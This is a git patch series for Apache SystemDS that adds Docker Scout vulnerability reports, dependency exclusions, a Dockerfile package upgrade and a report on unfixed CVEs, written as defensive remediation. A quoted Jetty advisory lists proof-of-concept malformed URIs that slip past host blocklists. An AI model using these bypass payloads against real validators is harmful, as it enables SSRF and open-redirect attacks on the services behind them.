+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.065%
EPSS Percentile20th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 busybox 1.36.1-r31 (apk) + +pkg:apk/alpine/busybox@1.36.1-r31?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r31
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/sysds.Dockerfile b/docker/sysds.Dockerfile index 695e996e241..7535f326d3a 100644 --- a/docker/sysds.Dockerfile +++ b/docker/sysds.Dockerfile @@ -88,7 +88,9 @@ FROM alpine:3.20@sha256:de4fe7064d8f98419ea6b49190df1abbf43450c1702eeb864fe9ced4 RUN apk add --no-cache bash \ snappy \ lz4 \ - zlib + zlib \ + && apk update \ + && apk upgrade openssl busybox busybox-binsh ssl_client libcrypto3 libssl3 ENV JAVA_HOME=/usr/lib/jvm/jdk-17.0.15+6 ENV PATH=$JAVA_HOME/bin:$PATH diff --git a/pom.xml b/pom.xml index 5e07b232d60..a40f71dcf39 100644 --- a/pom.xml +++ b/pom.xml @@ -1384,6 +1384,33 @@ org.apache.zookeeper zookeeper + + + com.google.guava + guava + + + + com.fasterxml.jackson.core + jackson-core + + + com.fasterxml.jackson.core + jackson-databind + + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-http + + + org.eclipse.jetty + jetty-servlets + @@ -1428,6 +1455,33 @@ org.slf4j jul-to-slf4j + + + com.google.guava + guava + + + + com.fasterxml.jackson.core + jackson-core + + + com.fasterxml.jackson.core + jackson-databind + + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-http + + + org.eclipse.jetty + jetty-servlets + @@ -1472,6 +1526,33 @@ org.slf4j jul-to-slf4j + + + com.google.guava + guava + + + + com.fasterxml.jackson.core + jackson-core + + + com.fasterxml.jackson.core + jackson-databind + + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-http + + + org.eclipse.jetty + jetty-servlets + @@ -1512,6 +1593,33 @@ org.apache.zookeeper zookeeper + + + com.google.guava + guava + + + + com.fasterxml.jackson.core + jackson-core + + + com.fasterxml.jackson.core + jackson-databind + + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-http + + + org.eclipse.jetty + jetty-servlets + @@ -1548,6 +1656,33 @@ org.slf4j jul-to-slf4j + + + com.google.guava + guava + + + + com.fasterxml.jackson.core + jackson-core + + + com.fasterxml.jackson.core + jackson-databind + + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-http + + + org.eclipse.jetty + jetty-servlets + @@ -1584,6 +1719,33 @@ org.slf4j jul-to-slf4j + + + com.google.guava + guava + + + + com.fasterxml.jackson.core + jackson-core + + + com.fasterxml.jackson.core + jackson-databind + + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-http + + + org.eclipse.jetty + jetty-servlets + From 385b23d6476a7e801437e404c93270a81c835801 Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Thu, 29 Jan 2026 10:28:19 +0100 Subject: [PATCH 18/31] [DOC][SYSTEMDS-3878] Document unfixed CVEs in Docker image Add UNFIXED_VULNERABILITIES.md explaining remaining security vulnerabilities that cannot be resolved due to upstream constraints. --- .../scout_results/UNFIXED_VULNERABILITIES.md | 191 ++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 docker/scout_results/UNFIXED_VULNERABILITIES.md diff --git a/docker/scout_results/UNFIXED_VULNERABILITIES.md b/docker/scout_results/UNFIXED_VULNERABILITIES.md new file mode 100644 index 00000000000..7f8d8d8499f --- /dev/null +++ b/docker/scout_results/UNFIXED_VULNERABILITIES.md @@ -0,0 +1,191 @@ +# Unfixed Vulnerabilities Report + +This document explains the remaining vulnerabilities in the `apache/systemds:latest` Docker image that cannot be resolved at this time due to upstream dependencies. + +## Overview + +| Severity | Count | +|----------|-------| +| Critical | 0 | +| High | 6 | +| Medium | 8 | +| Low | 1 | +| Unspecified | 1 | + +--- + +## Transitive Maven Dependencies (Spark/Hadoop Ecosystem) + +These vulnerabilities originate from dependencies managed by Apache Spark and Hadoop. Upgrading them independently would break compatibility with the Spark runtime. + +### 1. protobuf-java 3.7.1 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2024-7254 | High | 8.7 | 3.25.5 | +| CVE-2022-3510 | High | 7.5 | 3.16.3 | +| CVE-2022-3509 | High | 7.5 | 3.16.3 | +| CVE-2021-22569 | High | 7.5 | 3.16.1 | +| CVE-2022-3171 | Medium | 5.7 | 3.16.3 | +| CVE-2021-22570 | Medium | 5.5 | 3.15.0 | + +**Reason:** This is a transitive dependency bundled within Apache Spark's runtime JARs. Although SystemDS's `pom.xml` pins `3.25.5`, the Docker image still contains protobuf 3.7.1 because: + +1. **Spark bundles protobuf internally:** Spark 3.5.x includes protobuf classes within its shaded JARs. Maven dependency management cannot override classes already packaged inside Spark's uber-JARs. + +2. **Upgrading Spark would fix this:** Spark 4.0+ includes protobuf 3.25.x ([SPARK-49497](https://issues.apache.org/jira/browse/SPARK-49497)), which resolves all these CVEs. + +3. **But Spark 4.0 requires Scala 2.13:** Spark 4.0 dropped support for Scala 2.12 entirely. SystemDS currently uses Scala 2.12.18. + +4. **Scala 2.12 → 2.13 migration is non-trivial:** This requires recompiling all Scala code, updating the collections API usage, and ensuring all dependencies have Scala 2.13 builds available. This is a significant development effort that SystemDS upstream has not yet completed. + +**Dependency chain preventing the fix:** +``` +protobuf 3.25.5 fix + └── requires Spark 4.0+ + └── requires Scala 2.13 + └── requires SystemDS codebase migration (not yet done upstream) +``` + +**References:** +- [SPARK-49497: Upgrade protobuf-java to 3.25.4](https://issues.apache.org/jira/browse/SPARK-49497) +- [Spark 4.0 Release Notes - Scala 2.12 dropped](https://spark.apache.org/releases/spark-release-4-0-0.html) +- [CVE-2024-7254 Advisory](https://advisories.gitlab.com/pkg/maven/com.google.protobuf/protobuf-java/CVE-2024-7254) + +--- + +### 2. jetty-server 9.4.52.v20230823 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2024-13009 | High | 7.2 | 9.4.57 | +| CVE-2024-8184 | Medium | 5.9 | 9.4.56 | + +**Reason:** Jetty 9.4.x is embedded within Apache Spark 3.x for the Spark UI and REST APIs. Although SystemDS's `pom.xml` pins `9.4.57.v20241219`, Spark bundles Jetty internally in its distribution JARs. + +1. **Jetty 9.4 is EOL:** Community support ended June 1, 2022; security support ended February 19, 2025. + +2. **Spark 4.0 uses Jetty 11+:** Spark 4.0 migrated from Jetty 9.4.56 to 11.0.24, fixing these CVEs. + +3. **Same Scala 2.13 blocker:** Upgrading to Spark 4.0 to get the newer Jetty requires Scala 2.13, which SystemDS doesn't yet support. + +**Dependency chain preventing the fix:** +``` +Jetty 11+ fix + └── requires Spark 4.0+ (javax → jakarta migration) + └── requires Scala 2.13 + └── requires SystemDS codebase migration (not yet done upstream) +``` + +**References:** +- [Endoflife: Eclipse Jetty](https://endoflife.date/eclipse-jetty) +- [Spark 4.0 Release Notes - Jetty upgraded](https://spark.apache.org/releases/spark-release-4-0-0.html) +- [CVE-2024-13009 Jetty Announcement](https://www.eclipse.org/lists/jetty-announce/msg00197.html) + +--- + +### 3. jetty-servlets 9.4.52.v20230823 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2024-9823 | Medium | 5.3 | 9.4.54 | + +**Reason:** Is (same as jetty-server) managed by Apache Spark's dependency tree. The DoSFilter vulnerability affects session tracking and can cause OutOfMemory errors under attack conditions. + +**References:** +- [CVE-2024-9823 GitHub Advisory](https://github.com/jetty/jetty.project/security/advisories/GHSA-7hcf-ppf8-5w5h) + +--- + +### 4. jetty-http 9.4.52.v20230823 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2024-6763 | Medium | 6.3 | 12.0.12 | + +**Reason:** The `HttpURI` class validation issue is only fully fixed in **Jetty 12.0.12**. This CVE cannot be fixed because: + +1. **Spark 3.5.x uses Jetty 9.4.x** - bundled internally, cannot be overridden. + +2. **Spark 4.0 uses Jetty 11.0.24** - still does NOT include the fix for CVE-2024-6763. + +3. **Fix requires Jetty 12.0.12** - No current Spark version uses Jetty 12.x yet. + +**References:** +- [CVE-2024-6763 GitHub Advisory](https://github.com/jetty/jetty.project/security/advisories/GHSA-qh8g-58pp-2wxh) +- [Spark 4.0 Release Notes - Jetty 11](https://spark.apache.org/releases/spark-release-4-0-0.html) +- [Spark 3.5 Release Notes - Jetty 9.4](https://spark.apache.org/releases/spark-release-3-5-0.html) + +--- + +### 5. jackson-core 2.13.4 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2025-52999 | High | 8.7 | 2.15.0 | + +**Reason:** The vulnerable jackson-core 2.13.4 is **shaded inside `parquet-jackson-1.13.1.jar`**. The classes cannot be excluded via Maven dependency management. + +**Why it cannot be fixed:** +1. The main application correctly uses jackson-core 2.15.0 (the shaded copy is isolated inside Parquet). +2. Upgrading to Parquet 1.14.x (which bundles jackson 2.17.0) was attempted but did not fix the CVE. +3. Upgrading Spark to 4.0 would fix this, but requires Scala 2.13 migration. + +**References:** +- [CVE-2025-52999 NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-52999) +- [Jackson-core PR #943](https://github.com/FasterXML/jackson-core/pull/943) +- [Spark 4.0 Release Notes - Parquet 1.15.2](https://spark.apache.org/releases/spark-release-4-0-0.html) + +--- + +### 6. guava 14.0.1 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2018-10237 | Medium | 5.9 | 24.1.1 | +| CVE-2023-2976 | Medium | 5.5 | 32.0.0 | +| CVE-2020-8908 | Low | 3.3 | 32.0.0 | + +**Reason:** Guava 14.0.1 is an extremely old version pulled in as a transitive dependency from the Hadoop ecosystem. Hadoop has historically struggled with Guava version conflicts—different components require different versions. The solution implemented in Hadoop 3.3+ is to shade Guava into a separate namespace ([HADOOP-14284](https://issues.apache.org/jira/browse/HADOOP-14284)), but this doesn't help when older unshaded versions are still pulled in transitively. + +**References:** +- [HADOOP-14284: Shade Guava everywhere](https://issues.apache.org/jira/browse/HADOOP-14284) +- [HADOOP-17288: Use shaded guava from thirdparty](https://issues.apache.org/jira/browse/HADOOP-17288) +- [HADOOP-16924: Shade & Update guava to 29.0-jre](https://issues.apache.org/jira/browse/HADOOP-16924) + +--- + +## Alpine Linux Base Image Packages + +These vulnerabilities are in Alpine Linux system packages. Patched versions must come from Alpine maintainers. + +### 7. busybox 1.36.1-r31 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2025-60876 | Medium | 6.5 | **Not Fixed** | + +**Reason:** CRLF injection vulnerability in BusyBox wget through version 1.37. Allows attackers to inject control bytes into HTTP request-targets, enabling request line splitting and header injection. No patched version is available in the Alpine Linux 3.20 repository yet. + +**References:** +- [CVE-2025-60876 NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-60876) +- [Alpine Linux Security Tracker](https://security.alpinelinux.org/vuln/CVE-2025-60876) +- [Docker Scout CVE-2025-60876](https://scout.docker.com/v/CVE-2025-60876) + +--- + +### 8. lz4 1.9.4-r5 + +| CVE | Severity | CVSS | Fixed In | +|-----|----------|------|----------| +| CVE-2025-62813 | Unspecified | - | **REJECTED** | + +**Reason:** This CVE has been **withdrawn and marked as rejected** by NIST. The CNA determined after investigation that this was not actually a security issue. The originally reported NULL pointer check issue in `LZ4F_createCDict_advanced` was not exploitable. **This can be safely ignored.** + +**References:** +- [CVE-2025-62813 NVD Entry (Rejected)](https://nvd.nist.gov/vuln/detail/CVE-2025-62813) + +--- + +*Last updated: January 28, 2026* +*Source: Docker Scout vulnerability scan (`sysds_output18.md`)* From 2cd10bfa0d258550c512d3cd0930184a3e7ef23e Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 29 Jan 2026 10:32:10 +0100 Subject: [PATCH 19/31] [MINOR][SYSTEMDS-3878] pom.xml cleanup Empty lines were removed with formatting and indenting --- docker/scout_results/sysds_output_pom.md | 555 +++++++++++++++++++++ docker/systemds-3878_summary-of-changes.md | 40 +- pom.xml | 59 +-- 3 files changed, 598 insertions(+), 56 deletions(-) create mode 100644 docker/scout_results/sysds_output_pom.md diff --git a/docker/scout_results/sysds_output_pom.md b/docker/scout_results/sysds_output_pom.md new file mode 100644 index 00000000000..27bd9ce32a4 --- /dev/null +++ b/docker/scout_results/sysds_output_pom.md @@ -0,0 +1,555 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 343 packages + ✓ Provenance obtained from attestation + ✗ Detected 8 vulnerable packages with a total of 16 vulnerabilities + ✓ Report written to docker/scout_results/sysds_output_pom.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:1af186012d56c06816edfe03044d9250fb189a79769935184fb82892ce7509f3
vulnerabilitiescritical: 0 high: 6 medium: 8 low: 1 unspecified: 1
platformlinux/amd64
size378 MB
packages343
+
+ + + + + + + + + + + + + + + + + + +
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
